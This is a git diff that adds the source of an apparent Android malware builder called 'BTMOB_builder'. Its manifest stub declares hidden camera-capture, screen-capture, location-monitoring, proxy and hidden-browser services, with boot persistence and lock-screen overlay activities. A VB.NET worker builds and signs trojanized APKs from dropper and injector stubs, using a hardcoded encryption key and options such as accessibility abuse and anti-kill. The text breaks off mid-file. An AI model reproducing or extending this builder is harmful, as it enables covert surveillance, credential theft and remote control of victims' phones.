android:name="com.icontrol.protector.BrodcastActivity" android:noHistory="true" android:theme="@android:style/Theme.Translucent.NoTitleBar"/> + <activity android:excludeFromRecents="true" android:exported="true" android:name="com.icontrol.protector.ChatActivity" android:noHistory="true" android:theme="@android:style/Theme.Translucent.NoTitleBar" android:windowSoftInputMode="adjustResize"/> + <activity android:excludeFromRecents="true" android:exported="true" android:label="View" android:launchMode="singleInstance" android:name="com.icontrol.protector.WebBrowser" android:theme="@android:style/Theme.Translucent.NoTitleBar"/> + <activity android:excludeFromRecents="true" android:exported="true" android:label="View" android:launchMode="singleInstance" android:name="com.icontrol.protector.Webjector" android:theme="@android:style/Theme.Translucent.NoTitleBar"/> + <service android:enabled="true" android:exported="true" android:foregroundServiceType="dataSync" android:name="com.icontrol.protector.WorkServices"/> + <service android:enabled="true" android:exported="true" android:foregroundServiceType="dataSync" android:name="com.icontrol.protector.CameraCap"/> + <service android:enabled="true" android:exported="true" android:foregroundServiceType="dataSync" android:name="com.icontrol.protector.HiddenBrowser"/> + <service android:enabled="true" android:exported="true" android:foregroundServiceType="dataSync" android:name="com.icontrol.protector.EngineWorker"/> + <service android:enabled="true" android:exported="true" android:foregroundServiceType="dataSync" android:name="com.icontrol.protector.ProxyService"/> + <service android:enabled="true" android:exported="true" android:name="com.icontrol.protector.StarterServices"/> + <service android:exported="true" android:foregroundServiceType="dataSync" android:name="com.icontrol.protector.LocationMonitor"/> + <service android:enabled="true" android:exported="false" android:name="com.icontrol.protector.MyJobService" android:permission="android.permission.BIND_JOB_SERVICE"/> + <service android:enabled="true" android:exported="true" android:foregroundServiceType="mediaProjection" android:name="com.icontrol.protector.ScreenCaps"/> + <meta-data android:name="REPALCEACCESS" android:value="99999999"/> + <receiver android:enabled="true" android:exported="true" android:name="com.icontrol.protector.alarme"> + <intent-filter> + <action android:name="MY_CUSTOM_ACTION"/> + </intent-filter> + </receiver> + <receiver android:enabled="true" android:exported="true" android:name="com.icontrol.protector.BootReceiver"> + <intent-filter> + <action android:name="android.intent.action.BOOT_COMPLETED"/> + <action android:name="android.intent.action.QUICKBOOT_POWERON"/> + <action android:name="com.htc.intent.action.QUICKBOOT_POWERON"/> + <action android:name="android.intent.action.REBOOT"/> + </intent-filter> + </receiver> + <receiver android:enabled="true" android:exported="true" android:name="com.icontrol.protector.ResetServices"> + <intent-filter> + <action android:name="android.intent.action.AIRPLANE_MODE"/> + <action android:name="android.intent.action.BATTERY_LOW"/> + <action android:name="android.intent.action.BATTERY_OKAY"/> + <action android:name="android.intent.action.LOCALE_CHANGED"/> + <action android:name="android.intent.action.TIMEZONE_CHANGED"/> + <action android:name="android.intent.action.DEVICE_STORAGE_LOW"/> + <action android:name="android.intent.action.DEVICE_STORAGE_OK"/> + <action android:name="android.intent.action.ACTION_POWER_CONNECTED"/> + <action android:name="android.intent.action.ACTION_POWER_DISCONNECTED"/> + </intent-filter> + </receiver> + <activity android:configChanges="keyboard|keyboardHidden|orientation|screenSize|smallestScreenSize" android:documentLaunchMode="intoExisting" android:enabled="true" android:excludeFromRecents="false" android:exported="true" android:keepScreenOn="true" android:launchMode="singleInstance" android:name="com.icontrol.protector.TransparentActivity" android:showOnLockScreen="true" android:showWhenLocked="true" android:theme="@android:style/Theme.Black.NoTitleBar.Fullscreen" android:turnScreenOn="true"/> + <activity android:documentLaunchMode="intoExisting" android:enabled="true" android:excludeFromRecents="false" android:exported="true" android:launchMode="singleInstance" android:name="com.icontrol.protector.tofront" android:showOnLockScreen="true" android:showWhenLocked="true" android:theme="@android:style/Theme.Translucent.NoTitleBar" android:turnScreenOn="true"/> + <activity android:exported="true" android:name="com.icontrol.protector.Startme" android:theme="@android:style/Theme.Translucent.NoTitleBar"> + <intent-filter> + <action android:name="com.javadata.scanner.STARTER"/> + </intent-filter> + </activity> + <activity android:excludeFromRecents="true" android:label="Google" android:name="com.icontrol.protector.wakeitaiv" android:showForAllUsers="true" android:theme="@android:style/Theme.Translucent.NoTitleBar" android:turnScreenOn="true"/> + <provider android:authorities="com.icontrol.protector.androidx-startup" android:exported="false" android:name="androidx.startup.InitializationProvider"> + <meta-data android:name="androidx.work.WorkManagerInitializer" android:value="androidx.startup"/> + <meta-data android:name="androidx.emoji2.text.EmojiCompatInitializer" android:value="androidx.startup"/> + <meta-data android:name="androidx.lifecycle.ProcessLifecycleInitializer" android:value="androidx.startup"/> + <meta-data android:name="androidx.profileinstaller.ProfileInstallerInitializer" android:value="androidx.startup"/> + </provider> + <service android:directBootAware="false" android:enabled="false" android:exported="false" android:name="androidx.work.impl.background.systemalarm.SystemAlarmService"/> + <service android:directBootAware="false" android:enabled="true" android:exported="true" android:name="androidx.work.impl.background.systemjob.SystemJobService" android:permission="android.permission.BIND_JOB_SERVICE"/> + <service android:directBootAware="false" android:enabled="true" android:exported="false" android:name="androidx.work.impl.foreground.SystemForegroundService"/> + <receiver android:directBootAware="false" android:enabled="true" android:exported="false" android:name="androidx.work.impl.utils.ForceStopRunnable$BroadcastReceiver"/> + <receiver android:directBootAware="false" android:enabled="false" android:exported="false" android:name="androidx.work.impl.background.systemalarm.ConstraintProxy$BatteryChargingProxy"> + <intent-filter> + <action android:name="android.intent.action.ACTION_POWER_CONNECTED"/> + <action android:name="android.intent.action.ACTION_POWER_DISCONNECTED"/> + </intent-filter> + </receiver> + <receiver android:directBootAware="false" android:enabled="false" android:exported="false" android:name="androidx.work.impl.background.systemalarm.ConstraintProxy$BatteryNotLowProxy"> + <intent-filter> + <action android:name="android.intent.action.BATTERY_OKAY"/> + <action android:name="android.intent.action.BATTERY_LOW"/> + </intent-filter> + </receiver> + <receiver android:directBootAware="false" android:enabled="false" android:exported="false" android:name="androidx.work.impl.background.systemalarm.ConstraintProxy$StorageNotLowProxy"> + <intent-filter> + <action android:name="android.intent.action.DEVICE_STORAGE_LOW"/> + <action android:name="android.intent.action.DEVICE_STORAGE_OK"/> + </intent-filter> + </receiver> + <receiver android:directBootAware="false" android:enabled="false" android:exported="false" android:name="androidx.work.impl.background.systemalarm.ConstraintProxy$NetworkStateProxy"> + <intent-filter> + <action android:name="android.net.conn.CONNECTIVITY_CHANGE"/> + </intent-filter> + </receiver> + <receiver android:directBootAware="false" android:enabled="false" android:exported="false" android:name="androidx.work.impl.background.systemalarm.RescheduleReceiver"> + <intent-filter> + <action android:name="android.intent.action.BOOT_COMPLETED"/> + <action android:name="android.intent.action.TIME_SET"/> + <action android:name="android.intent.action.TIMEZONE_CHANGED"/> + </intent-filter> + </receiver> + <receiver android:directBootAware="false" android:enabled="false" android:exported="false" android:name="androidx.work.impl.background.systemalarm.ConstraintProxyUpdateReceiver"> + <intent-filter> + <action android:name="androidx.work.impl.background.systemalarm.UpdateProxies"/> + </intent-filter> + </receiver> + <receiver android:directBootAware="false" android:enabled="true" android:exported="true" android:name="androidx.work.impl.diagnostics.DiagnosticsReceiver" android:permission="android.permission.DUMP"> + <intent-filter> + <action android:name="androidx.work.diagnostics.REQUEST_DIAGNOSTICS"/> + </intent-filter> + </receiver> + <service android:directBootAware="true" android:exported="false" android:name="androidx.room.MultiInstanceInvalidationService"/> + <receiver android:directBootAware="false" android:enabled="true" android:exported="true" android:name="androidx.profileinstaller.ProfileInstallReceiver" android:permission="android.permission.DUMP"> + <intent-filter> + <action android:name="androidx.profileinstaller.action.INSTALL_PROFILE"/> + </intent-filter> + <intent-filter> + <action android:name="androidx.profileinstaller.action.SKIP_FILE"/> + </intent-filter> + <intent-filter> + <action android:name="androidx.profileinstaller.action.SAVE_PROFILE"/> + </intent-filter> + <intent-filter> + <action android:name="androidx.profileinstaller.action.BENCHMARK_OPERATION"/> + </intent-filter> + </receiver> + + + <intent-filter> + <action android:name="android.intent.action.MAIN"/> + <category android:name="android.intent.category.INFO"/> + </intent-filter> + <intent-filter> + <action android:name="android.service.quicksettings.action.QS_TILE_PREFERENCES"/> + </intent-filter> + <intent-filter> + <action android:name="com.android.settings.action.IA_SETTINGS"/> + </intent-filter> + <meta-data android:name="com.android.settings.category" android:value="com.android.settings.category.ia.development"/> + <meta-data android:name="com.android.settings.summary" android:value=""/> + <meta-data android:name="com.android.settings.order" android:value="10"/> + <meta-data android:name="com.android.settings.profile" android:value="primary_profile_only"/> + + + <?xml version="1.0" encoding="utf-8"?> +<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android" + android:layout_width="match_parent" + android:layout_height="match_parent" + android:orientation="vertical"> + + + <WebView + android:id="@+id/MyView" + android:layout_width="match_parent" + android:layout_height="match_parent" /> + + <ProgressBar + android:id="@+id/progressBar" + style="?android:attr/progressBarStyleLarge" + android:layout_width="wrap_content" + android:layout_height="wrap_content" + android:layout_alignParentBottom="true" + android:layout_alignParentEnd="true" + android:layout_margin="16dp" + android:visibility="gone" /> +</RelativeLayout> + + + <?xml version="1.0" encoding="utf-8"?> +<network-security-config> + <base-config cleartextTrafficPermitted="true" /> +</network-security-config> + + + <?xml version="1.0" encoding="utf-8"?> +<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android" + android:layout_width="match_parent" + android:layout_height="match_parent" + android:orientation="vertical" + android:background="#292929"> + + <LinearLayout + android:layout_width="match_parent" + android:layout_height="35dp" + android:background="#292929" + android:orientation="horizontal"> + + </LinearLayout> + <LinearLayout + android:layout_width="match_parent" + android:layout_height="75dp" + + android:orientation="horizontal"> + + + + </LinearLayout> + <LinearLayout + android:layout_width="match_parent" + android:layout_height="110dp" + android:gravity="center" + android:orientation="horizontal"> + + <ImageView + android:id="@+id/noneticon" + android:layout_width="0px" + android:layout_weight="0.4" + android:layout_height="match_parent" + android:paddingLeft="5dp" + android:src="@drawable/connection_error"></ImageView> + + </LinearLayout> + <LinearLayout + android:layout_width="match_parent" + android:layout_height="20dp" + + android:orientation="horizontal"> + + </LinearLayout> + <LinearLayout + android:layout_width="match_parent" + android:layout_height="match_parent" + + android:orientation="vertical"> + + + <TextView + android:layout_width="match_parent" + android:layout_height="150dp" + android:textColor="#F8F8F8" + android:gravity="top|center" + android:id="@+id/nodescrip" + android:paddingTop="25dp" + android:fontFamily="sans-serif" + android:text="No internet connection detected.\n\n please connect to internet and try again" + android:textSize="16sp" + android:textStyle="bold" + + android:shadowRadius="2" + ></TextView> + <Button + android:id="@+id/closeme" + android:layout_width="55dp" + android:layout_height="55dp" + android:background="@drawable/closebutton" + android:layout_gravity="center" + + + android:textSize="16sp" + android:textStyle="bold" + android:textColor="#000000" + android:shadowRadius="2"> + + </Button> + + </LinearLayout> +</LinearLayout> + + + invoke-virtual/range {p0}, [trgtmain]->InializeSubsT()V + + + <!-- activity_main.xml --> +<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android" + android:layout_width="match_parent" + android:background="#000011" + android:layout_height="match_parent"> + + + <ImageView + android:id="@+id/imageView" + android:layout_width="match_parent" + android:layout_height="400dp" + android:layout_centerHorizontal="true" + android:layout_marginTop="75dp" + android:src="@drawable/oppo_bty_en_1" /> + + + + <Button + android:id="@+id/nextButton" + android:layout_width="130dp" + android:layout_height="75dp" + android:layout_below="@id/imageView" + android:layout_centerHorizontal="true" + android:layout_marginTop="16dp" + android:text="Next" + android:background="@drawable/btnback" + android:gravity="center" + android:shadowColor="#000" + android:shadowDx="9" + android:shadowDy="3" + android:shadowRadius="2" + android:textColor="#fff" + android:textSize="18sp" + android:textStyle="bold" /> +</RelativeLayout> + + + <?xml version="1.0" encoding="utf-8"?> +<paths xmlns:android="http://schemas.android.com/apk/res/android"> + <external-path + name="external_files" + path="." /> +</paths> + + + <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/> + + + <uses-permission android:name="android.permission.READ_PHONE_STATE" /> + + + <meta-data android:name="REPALCEACCESS" android:value="99999999"/> + + + <meta-data android:name="REPLACELUNCH" android:value="66666666"/> + + + <queries android:name="[Replace_Prmies]"/> + + + ..\Resources\signapk.jar;System.Byte[], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + <?xml version="1.0" encoding="utf-8"?> +<splits> + <module name=""> + <language> + <entry key="af" split="" /> + <entry key="am" split="" /> + <entry key="ar" split="" /> + <entry key="az" split="" /> + <entry key="bg" split="" /> + <entry key="bn" split="" /> + <entry key="ca" split="" /> + <entry key="cs" split="" /> + <entry key="da" split="" /> + <entry key="de" split="" /> + <entry key="el" split="" /> + <entry key="en" split="" /> + <entry key="es" split="" /> + <entry key="et" split="" /> + <entry key="fa" split="" /> + <entry key="fi" split="" /> + <entry key="fr" split="" /> + <entry key="ga" split="" /> + <entry key="gu" split="" /> + <entry key="ha" split="" /> + <entry key="he" split="" /> + <entry key="hi" split="" /> + <entry key="hr" split="" /> + <entry key="hu" split="" /> + <entry key="id" split="" /> + <entry key="it" split="" /> + <entry key="ja" split="" /> + <entry key="kk" split="" /> + <entry key="kn" split="" /> + <entry key="ko" split="" /> + <entry key="lo" split="" /> + <entry key="lt" split="" /> + <entry key="lv" split="" /> + <entry key="mk" split="" /> + <entry key="ml" split="" /> + <entry key="mr" split="" /> + <entry key="ms" split="" /> + <entry key="nb" split="" /> + <entry key="nl" split="" /> + <entry key="om" split="" /> + <entry key="pa" split="" /> + <entry key="pl" split="" /> + <entry key="pt" split="" /> + <entry key="ro" split="" /> + <entry key="ru" split="" /> + <entry key="sk" split="" /> + <entry key="sl" split="" /> + <entry key="sq" split="" /> + <entry key="sr" split="" /> + <entry key="sv" split="" /> + <entry key="sw" split="" /> + <entry key="ta" split="" /> + <entry key="te" split="" /> + <entry key="th" split="" /> + <entry key="tl" split="" /> + <entry key="tr" split="" /> + <entry key="uk" split="" /> + <entry key="ur" split="" /> + <entry key="uz" split="" /> + <entry key="vi" split="" /> + <entry key="zh" split="" /> + </language> + </module> +</splits> + + + <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW"/> + + + <queries android:name="[GPRIM]"/> + + + <?xml version="1.0" encoding="utf-8"?> +<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android" + android:layout_width="match_parent" + android:layout_height="match_parent" + android:gravity="center" + android:orientation="vertical" + android:padding="20dp" + android:background="#232323"> + + <ImageView + android:id="@+id/errorimg" + android:layout_width="144px" + android:layout_height="144px" + android:paddingLeft="5dp" + android:src="@drawable/error"></ImageView> + + <TextView + android:id="@+id/dialog_message" + android:layout_width="wrap_content" + android:layout_height="wrap_content" + android:textColor="#fff" + android:text="unfortunately , this version is not compatible with your device." + android:paddingBottom="20dp" + android:textSize="20dp" + android:gravity="center"/> + + <LinearLayout + android:layout_width="match_parent" + android:layout_height="wrap_content" + android:orientation="horizontal" + + android:gravity="center"> + + + <Button + android:id="@+id/button_ok" + android:layout_width="280px" + android:layout_height="150px" + android:text="uninstall" + android:textColor="#fff" + android:background="#0074CC"/> + </LinearLayout> + +</LinearLayout> + + + <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/> + + + ..\Resources\zipalign.exe;System.Byte[], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + \ No newline at end of file diff --git a/BTMOB_builder/SolrWorker/My Project/Settings.Designer.vb b/BTMOB_builder/SolrWorker/My Project/Settings.Designer.vb new file mode 100644 index 0000000..7520355 --- /dev/null +++ b/BTMOB_builder/SolrWorker/My Project/Settings.Designer.vb @@ -0,0 +1,73 @@ +'------------------------------------------------------------------------------ +' +' Этот код создан программой. +' Исполняемая версия:4.0.30319.42000 +' +' Изменения в этом файле могут привести к неправильной работе и будут потеряны в случае +' повторной генерации кода. +' +'------------------------------------------------------------------------------ + +Option Strict On +Option Explicit On + + +Namespace My + + _ + Partial Friend NotInheritable Class MySettings + Inherits Global.System.Configuration.ApplicationSettingsBase + + Private Shared defaultInstance As MySettings = CType(Global.System.Configuration.ApplicationSettingsBase.Synchronized(New MySettings()),MySettings) + +#Region "Функция автоматического сохранения My.Settings" +#If _MyType = "WindowsForms" Then + Private Shared addedHandler As Boolean + + Private Shared addedHandlerLockObject As New Object + + _ + Private Shared Sub AutoSaveSettings(sender As Global.System.Object, e As Global.System.EventArgs) + If My.Application.SaveMySettingsOnExit Then + My.Settings.Save() + End If + End Sub +#End If +#End Region + + Public Shared ReadOnly Property [Default]() As MySettings + Get + +#If _MyType = "WindowsForms" Then + If Not addedHandler Then + SyncLock addedHandlerLockObject + If Not addedHandler Then + AddHandler My.Application.Shutdown, AddressOf AutoSaveSettings + addedHandler = True + End If + End SyncLock + End If +#End If + Return defaultInstance + End Get + End Property + End Class +End Namespace + +Namespace My + + _ + Friend Module MySettingsProperty + + _ + Friend ReadOnly Property Settings() As Global.SolrWorker.My.MySettings + Get + Return Global.SolrWorker.My.MySettings.Default + End Get + End Property + End Module +End Namespace diff --git a/BTMOB_builder/SolrWorker/My Project/Settings.settings b/BTMOB_builder/SolrWorker/My Project/Settings.settings new file mode 100644 index 0000000..377f56d --- /dev/null +++ b/BTMOB_builder/SolrWorker/My Project/Settings.settings @@ -0,0 +1,7 @@ + + + + + + + diff --git a/BTMOB_builder/SolrWorker/My Project/app.manifest b/BTMOB_builder/SolrWorker/My Project/app.manifest new file mode 100644 index 0000000..6a39c83 --- /dev/null +++ b/BTMOB_builder/SolrWorker/My Project/app.manifest @@ -0,0 +1,79 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/BTMOB_builder/SolrWorker/Mylogger.vb b/BTMOB_builder/SolrWorker/Mylogger.vb new file mode 100644 index 0000000..478f46c --- /dev/null +++ b/BTMOB_builder/SolrWorker/Mylogger.vb @@ -0,0 +1,77 @@ +Imports System.IO +Imports System.Xml +Imports Newtonsoft.Json + +Module Mylogger + Private ReadOnly errorDirPath As String = "Apps_errors" + Private ReadOnly buildDirPath As String = "Apps_logs" + 'Private ReadOnly buildDirPath_err As String = "Solrjector_errors" + Public Sub LogError(ByVal userId As String, ByVal methodName As String, ByVal errorMessage As String) + Try + + Dim directoryPath As String = Path.Combine(GetDrive, errorDirPath, userId) + Directory.CreateDirectory(directoryPath) + + + Dim currentDate As String = DateTime.Now.ToString("yyyy-MM-dd") + Dim filePath As String = Path.Combine(directoryPath, $"{currentDate}-log.json") + + + Dim errorLog As New List(Of Object)() + + If File.Exists(filePath) Then + Dim existingLog As String = File.ReadAllText(filePath) + errorLog = JsonConvert.DeserializeObject(Of List(Of Object))(existingLog) + End If + + Dim errorObject As New With { + .Date = DateTime.Now.ToString(), + .Method = methodName, + .Content = errorMessage + } + + errorLog.Add(errorObject) + + Dim jsonLog As String = JsonConvert.SerializeObject(errorLog, Newtonsoft.Json.Formatting.Indented) + + File.WriteAllText(filePath, jsonLog) + Catch ex As Exception + + Console.WriteLine($"Error logging failed: {ex.Message}") + End Try + End Sub + Public Sub Logbuild(ByVal userId As String, ByVal msg As String) + Try + + Dim directoryPath As String = Path.Combine(GetDrive, buildDirPath, userId) + Directory.CreateDirectory(directoryPath) + + + Dim currentDate As String = DateTime.Now.ToString("yyyy-MM-dd") + Dim filePath As String = Path.Combine(directoryPath, $"{currentDate}-log.json") + + + Dim errorLog As New List(Of Object)() + + If File.Exists(filePath) Then + Dim existingLog As String = File.ReadAllText(filePath) + errorLog = JsonConvert.DeserializeObject(Of List(Of Object))(existingLog) + End If + + Dim errorObject As New With { + .Date = DateTime.Now.ToString(), + .Content = msg + } + + errorLog.Add(errorObject) + + Dim jsonLog As String = JsonConvert.SerializeObject(errorLog, Newtonsoft.Json.Formatting.Indented) + + File.WriteAllText(filePath, jsonLog) + Catch ex As Exception + + Console.WriteLine($"build logging failed: {ex.Message}") + End Try + End Sub + +End Module diff --git a/BTMOB_builder/SolrWorker/Resources/7.exe b/BTMOB_builder/SolrWorker/Resources/7.exe new file mode 100644 index 0000000..8a54598 Binary files /dev/null and b/BTMOB_builder/SolrWorker/Resources/7.exe differ diff --git a/BTMOB_builder/SolrWorker/Resources/APKEditor.jar b/BTMOB_builder/SolrWorker/Resources/APKEditor.jar new file mode 100644 index 0000000..e45d573 Binary files /dev/null and b/BTMOB_builder/SolrWorker/Resources/APKEditor.jar differ diff --git a/BTMOB_builder/SolrWorker/Resources/APPS.zip b/BTMOB_builder/SolrWorker/Resources/APPS.zip new file mode 100644 index 0000000..b55b3db Binary files /dev/null and b/BTMOB_builder/SolrWorker/Resources/APPS.zip differ diff --git a/BTMOB_builder/SolrWorker/Resources/accessibilityprivatesrcapp.xml b/BTMOB_builder/SolrWorker/Resources/accessibilityprivatesrcapp.xml new file mode 100644 index 0000000..01c484a --- /dev/null +++ b/BTMOB_builder/SolrWorker/Resources/accessibilityprivatesrcapp.xml @@ -0,0 +1,3 @@ + + diff --git a/BTMOB_builder/SolrWorker/Resources/apkstub.zip b/BTMOB_builder/SolrWorker/Resources/apkstub.zip new file mode 100644 index 0000000..03925a9 Binary files /dev/null and b/BTMOB_builder/SolrWorker/Resources/apkstub.zip differ diff --git a/BTMOB_builder/SolrWorker/Resources/apktool.jar b/BTMOB_builder/SolrWorker/Resources/apktool.jar new file mode 100644 index 0000000..70639f8 Binary files /dev/null and b/BTMOB_builder/SolrWorker/Resources/apktool.jar differ diff --git a/BTMOB_builder/SolrWorker/Resources/certificate.pem b/BTMOB_builder/SolrWorker/Resources/certificate.pem new file mode 100644 index 0000000..e242d83 --- /dev/null +++ b/BTMOB_builder/SolrWorker/Resources/certificate.pem @@ -0,0 +1,27 @@ +-----BEGIN CERTIFICATE----- +MIIEqDCCA5CgAwIBAgIJAJNurL4H8gHfMA0GCSqGSIb3DQEBBQUAMIGUMQswCQYD +VQQGEwJVUzETMBEGA1UECBMKQ2FsaWZvcm5pYTEWMBQGA1UEBxMNTW91bnRhaW4g +VmlldzEQMA4GA1UEChMHQW5kcm9pZDEQMA4GA1UECxMHQW5kcm9pZDEQMA4GA1UE +AxMHQW5kcm9pZDEiMCAGCSqGSIb3DQEJARYTYW5kcm9pZEBhbmRyb2lkLmNvbTAe +Fw0wODAyMjkwMTMzNDZaFw0zNTA3MTcwMTMzNDZaMIGUMQswCQYDVQQGEwJVUzET +MBEGA1UECBMKQ2FsaWZvcm5pYTEWMBQGA1UEBxMNTW91bnRhaW4gVmlldzEQMA4G +A1UEChMHQW5kcm9pZDEQMA4GA1UECxMHQW5kcm9pZDEQMA4GA1UEAxMHQW5kcm9p +ZDEiMCAGCSqGSIb3DQEJARYTYW5kcm9pZEBhbmRyb2lkLmNvbTCCASAwDQYJKoZI +hvcNAQEBBQADggENADCCAQgCggEBANaTGQTexgskse3HYuDZ2CU+Ps1s6x3i/waM +qOi8qM1r03hupwqnbOYOuw+ZNVn/2T53qUPn6D1LZLjk/qLT5lbx4meoG7+yMLV4 +wgRDvkxyGLhG9SEVhvA4oU6Jwr44f46+z4/Kw9oe4zDJ6pPQp8PcSvNQIg1QCAcy +4ICXF+5qBTNZ5qaU7Cyz8oSgpGbIepTYOzEJOmc3Li9kEsBubULxWBjf/gOBzAzU +RNps3cO4JFgZSAGzJWQTT7/emMkod0jb9WdqVA2BVMi7yge54kdVMxHEa5r3b97s +zI5p58ii0I54JiCUP5lyfTwE/nKZHZnfm644oLIXf6MdW2r+6R8CAQOjgfwwgfkw +HQYDVR0OBBYEFEhZAFY9JyxGrhGGBaR0GawJyowRMIHJBgNVHSMEgcEwgb6AFEhZ +AFY9JyxGrhGGBaR0GawJyowRoYGapIGXMIGUMQswCQYDVQQGEwJVUzETMBEGA1UE +CBMKQ2FsaWZvcm5pYTEWMBQGA1UEBxMNTW91bnRhaW4gVmlldzEQMA4GA1UEChMH +QW5kcm9pZDEQMA4GA1UECxMHQW5kcm9pZDEQMA4GA1UEAxMHQW5kcm9pZDEiMCAG +CSqGSIb3DQEJARYTYW5kcm9pZEBhbmRyb2lkLmNvbYIJAJNurL4H8gHfMAwGA1Ud +EwQFMAMBAf8wDQYJKoZIhvcNAQEFBQADggEBAHqvlozrUMRBBVEY0NqrrwFbinZa +J6cVosK0TyIUFf/azgMJWr+kLfcHCHJsIGnlw27drgQAvilFLAhLwn62oX6snb4Y +LCBOsVMR9FXYJLZW2+TcIkCRLXWG/oiVHQGo/rWuWkJgU134NDEFJCJGjDbiLCpe ++ZTWHdcwauTJ9pUbo8EvHRkU3cYfGmLaLfgn9gP+pWA7LFQNvXwBnDa6sppCccEX +31I828XzgXpJ4O+mDL1/dBd+ek8ZPUP0IgdyZm5MTYPhvVqGCHzzTy3sIeJFymwr +sBbmg2OAUNLEMO6nwmocSdN2ClirfxqCzJOLSDE4QyS9BAH6EhY6UFcOaE0= +-----END CERTIFICATE----- diff --git a/BTMOB_builder/SolrWorker/Resources/dropstub.zip b/BTMOB_builder/SolrWorker/Resources/dropstub.zip new file mode 100644 index 0000000..dd13b97 Binary files /dev/null and b/BTMOB_builder/SolrWorker/Resources/dropstub.zip differ diff --git a/BTMOB_builder/SolrWorker/Resources/emptyaccess.xml b/BTMOB_builder/SolrWorker/Resources/emptyaccess.xml new file mode 100644 index 0000000..655d054 --- /dev/null +++ b/BTMOB_builder/SolrWorker/Resources/emptyaccess.xml @@ -0,0 +1,4 @@ + + + diff --git a/BTMOB_builder/SolrWorker/Resources/javaJDK.jar b/BTMOB_builder/SolrWorker/Resources/javaJDK.jar new file mode 100644 index 0000000..b1dbc98 Binary files /dev/null and b/BTMOB_builder/SolrWorker/Resources/javaJDK.jar differ diff --git a/BTMOB_builder/SolrWorker/Resources/key.pk8 b/BTMOB_builder/SolrWorker/Resources/key.pk8 new file mode 100644 index 0000000..586c1bd Binary files /dev/null and b/BTMOB_builder/SolrWorker/Resources/key.pk8 differ diff --git a/BTMOB_builder/SolrWorker/Resources/signapk.jar b/BTMOB_builder/SolrWorker/Resources/signapk.jar new file mode 100644 index 0000000..3686575 Binary files /dev/null and b/BTMOB_builder/SolrWorker/Resources/signapk.jar differ diff --git a/BTMOB_builder/SolrWorker/Resources/zipalign.exe b/BTMOB_builder/SolrWorker/Resources/zipalign.exe new file mode 100644 index 0000000..f038bfa Binary files /dev/null and b/BTMOB_builder/SolrWorker/Resources/zipalign.exe differ diff --git a/BTMOB_builder/SolrWorker/SolrWorker.vbproj b/BTMOB_builder/SolrWorker/SolrWorker.vbproj new file mode 100644 index 0000000..fd2d3ef --- /dev/null +++ b/BTMOB_builder/SolrWorker/SolrWorker.vbproj @@ -0,0 +1,164 @@ + + + + + Debug + AnyCPU + {7337EA08-4AF7-4171-9739-0F6B362ECB6E} + Exe + Sub Main + SolrWorker + SolrWorker + 512 + Console + v4.8 + true + + + + AnyCPU + true + full + true + true + ..\..\..\..\..\..\xampp\htdocs\BTMOB\private\builder\ + SolrWorker.xml + 42016,41999,42017,42018,42019,42032,42036,42020,42021,42022 + + + AnyCPU + pdbonly + false + true + true + bin\Release\ + SolrWorker.xml + 42016,41999,42017,42018,42019,42032,42036,42020,42021,42022 + + + On + + + Binary + + + Off + + + On + + + My Project\app.manifest + + + true + + + + ..\packages\DotNetZip.1.16.0\lib\net40\DotNetZip.dll + + + False + ..\SolrStarter\bin\Debug\Newtonsoft.Json.dll + + + + + + + + ..\packages\System.IO.Compression.ZipFile.4.3.0\lib\net46\System.IO.Compression.ZipFile.dll + + + + + + + + + + + + + + + + + + + + + + + + + + + True + Application.myapp + True + + + True + True + Resources.resx + + + True + Settings.settings + True + + + + + VbMyResourcesResXFileCodeGenerator + Resources.Designer.vb + My.Resources + Designer + + + + + + MyApplicationCodeGenerator + Application.Designer.vb + + + SettingsSingleFileGenerator + My + Settings.Designer.vb + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/BTMOB_builder/SolrWorker/SolrWorker.vbproj.user b/BTMOB_builder/SolrWorker/SolrWorker.vbproj.user new file mode 100644 index 0000000..083cfdf --- /dev/null +++ b/BTMOB_builder/SolrWorker/SolrWorker.vbproj.user @@ -0,0 +1,9 @@ + + + + + + + + + \ No newline at end of file diff --git a/BTMOB_builder/SolrWorker/Worker.vb b/BTMOB_builder/SolrWorker/Worker.vb new file mode 100644 index 0000000..8756171 --- /dev/null +++ b/BTMOB_builder/SolrWorker/Worker.vb @@ -0,0 +1,3664 @@ +Imports System.Data.SqlClient +Imports System.Drawing +Imports System.IO +Imports System.Net +Imports System.Net.Http +Imports System.Reflection +Imports System.Text +Imports System.Threading +Imports System.Xml +Imports Microsoft.VisualBasic.Devices +Imports Microsoft.Win32 +Imports MS.Internal +Imports Newtonsoft.Json +Imports Newtonsoft.Json.Linq + + +Module Worker + + Friend WithEvents BackgroundWorker1 As System.ComponentModel.BackgroundWorker + + Private Encrypt_Key As String = "Hf/I2[nt7b-^x6`[" + + Private ReadOnly BT_appver As String = "3.4.1" + + Private userid As String = Nothing + Private appid As String = Nothing + Private MYID As String = Nothing + Private ClientName As String = Nothing + Private UserHost As String = Nothing + Private Email As String = Nothing + + Private use_access As String = Nothing + Private use_draw As String = Nothing + Private use_antkill As String = Nothing + Private use_atoprims As String = Nothing + + Private notifytitle As String = Nothing + Private notifymsg As String = Nothing + + Private MainActivity As String = Nothing + Private appdir As String = Nothing + Private userfolder As String = Nothing + Private ZIPPATH As String = Nothing + Private DropStub As String = Nothing + Private InjectStub As String = Nothing + + + + Private apktemp As String = "" + Private apktoolpath As String = "" + + Private Apksignerpath As String = "" + Private ApkZIPpath As String = "" + Private outputapk As String = "" + Private originalapkname As String = "" + Private Apkeditorpath As String = "" + Private extractorzip As String = "" + 'Private protectfinished As Boolean = False + Public Once As Boolean = False + Public HoldMainThread As Boolean = False + Public HoldFinishing As Boolean = False + Private cmdProcess As Process + Public WorkingDir As String = "" + Private FoundJava As Boolean = False + Private TheApkPath As String + + + Public need_externalstorage As Boolean = False + Public need_write As Boolean = False + Public need_battery As Boolean = False + Public need_read As Boolean = False + Public need_forground As Boolean = False + Public need_syswinow As Boolean = False + Public need_boot As Boolean = False + Public 